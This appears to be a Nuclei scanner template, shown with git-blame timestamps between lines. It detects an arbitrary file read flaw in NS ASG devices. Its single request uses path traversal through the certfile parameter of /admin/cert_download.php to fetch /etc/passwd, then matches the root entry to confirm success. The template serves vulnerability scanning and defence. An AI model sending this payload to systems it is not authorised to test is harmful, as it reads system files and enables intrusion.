2021-06-01 08:39:01 +00:00
|
|
|
id: nsasg-arbitrary-file-read
|
2021-05-31 08:56:01 +00:00
|
|
|
|
|
|
|
info:
|
2021-06-01 08:39:01 +00:00
|
|
|
name: NS ASG Arbitrary File Read
|
2021-05-31 08:56:01 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
2021-06-13 08:55:20 +00:00
|
|
|
reference: https://zhuanlan.zhihu.com/p/368054963
|
2021-06-01 08:39:01 +00:00
|
|
|
tags: nsasg,lfi
|
2021-05-31 08:56:01 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0"
|
2021-05-31 08:56:01 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|